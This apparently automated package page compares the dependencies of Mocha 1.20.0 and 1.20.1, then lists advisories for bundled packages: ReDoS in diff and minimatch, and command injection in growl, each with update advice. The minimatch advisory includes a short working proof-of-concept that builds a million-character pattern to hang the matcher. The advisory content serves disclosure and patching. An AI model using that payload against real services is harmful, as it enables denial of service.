Mocha version 1.20.1 is a patch release following closely on the heels of version 1.20.0, both iterations of the popular and flexible JavaScript test framework designed for Node.js and browsers. Both versions maintain consistent dependencies for core functionalities, including "diff" for detailed comparisons, "glob" for file pattern matching, "jade" for templating, "debug" for enhanced debugging capabilities, "growl" for notifications, "mkdirp" for directory creation, and "commander" for command-line interface building.
The primary difference lies in the specified developer dependencies. While both rely on "coffee-script" version 1.2 for CoffeeScript support, the "should" assertion library exhibits a change in version constraint. Version 1.20.0 requires "should" at version ">= 2.0.x", providing a broader range of compatible versions starting from 2.0.0. In contrast, version 1.20.1 tightens this constraint to "should": "~4.0.0", implying compatibility predominantly with versions around 4.0.0, allowing patch updates within the 4.0 range. For developers, this means if you're upgrading from 1.20.0 to 1.20.1, be mindful of your "should" version and potential API differences between versions. If you are starting a new project, version 1.20.1 encourages the use of the "should" assertion library around version 4.0.0 for optimal compatibility. Both versions inherit the same author and repository information, ensuring continuity in maintenance and source code availability for the mocha testing framework.
All the vulnerabilities related to the version 1.20.1 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.